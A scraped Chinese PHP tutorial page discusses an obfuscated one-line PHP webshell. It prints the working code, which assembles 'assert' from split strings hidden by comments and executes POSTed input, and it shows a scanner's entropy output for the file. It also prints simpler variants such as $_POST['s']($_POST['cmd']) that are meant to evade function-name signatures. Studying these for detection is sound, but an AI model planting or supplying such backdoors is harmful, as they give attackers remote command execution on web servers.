Maison >développement back-end >tutoriel php >一个有意思的 PHP 一句话后门,怎么破?
看到一个有意思的php一句话:
<span class="cp"><?php </span> <span class="o">@</span><span class="nv">$_</span><span class="o">=</span><span class="s2">"s"</span><span class="o">.</span><span class="s2">"s"</span><span class="o">./*-/*-*/</span><span class="s2">"e"</span><span class="o">./*-/*-*/</span><span class="s2">"r"</span><span class="p">;</span> <span class="o">@</span><span class="nv">$_</span><span class="o">=/*-/*-*/</span><span class="s2">"a"</span><span class="o">./*-/*-*/</span><span class="nv">$_</span><span class="o">./*-/*-*/</span><span class="s2">"t"</span><span class="p">;</span> <span class="o">@</span><span class="nv">$_</span><span class="cm">/*-/*-*/</span><span class="p">(</span><span class="err">$</span><span class="cm">/*-/*-*/</span><span class="p">{</span><span class="s2">"_P"</span><span class="o">./*-/*-*/</span><span class="s2">"OS"</span><span class="o">./*-/*-*/</span><span class="s2">"T"</span><span class="p">}</span> <span class="p">[</span><span class="cm">/*-/*-*/</span><span class="mi">0</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">11</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">5</span><span class="cm">/*-/*-*/</span><span class="p">]);</span><span class="cp">?></span><span class="x"></span> </span>
<code class="language-text">0-11-5
</code>
这一点也谈不上新奇,也谈不上是我见过的最变态的PHP后门。<code class="language-text">[[ Average IC for Search ]]
0.139386719155
[[ Top 10 lowest IC files ]]
0.1394 ./test/test.php
[[ Top 10 entropic files for a given search ]]
3.5443 ./test/test.php
[[ Top 10 longest word files ]]
60 ./test/test.php
[[ Top 10 signature match counts ]]
0 ./test/test.php
[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
0 ./test/test.php
[[ Top cumulative ranked files ]]
5 ./test/test.php
</code>
<code class="language-text">/*-/*-*/ 注释 :)
</code>
作为一个看了一年后门的人,已经能分清一句话是公是母了,这种马确实不太奇怪,<code class="language-php"><span class="cp"><?php </span> <span class="p">(</span><span class="nv">$_</span><span class="o">=</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span><span class="o">.</span><span class="nv">$_</span><span class="p">(</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span><span class="cp">?></span><span class="x"> 据说PKAV大牛最近写了个生成这种后门的网页</span>
<span class="cp"><?php </span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'s'</span><span class="p">](</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span><span class="c1">//躲避函数名查杀</span>
<span class="cp">?></span><span class="x"></span>
<span class="x">还有用inlude调用图片的马</span>
</span></span></code>
仅仅是字符拆分,躲避关键函数名查杀。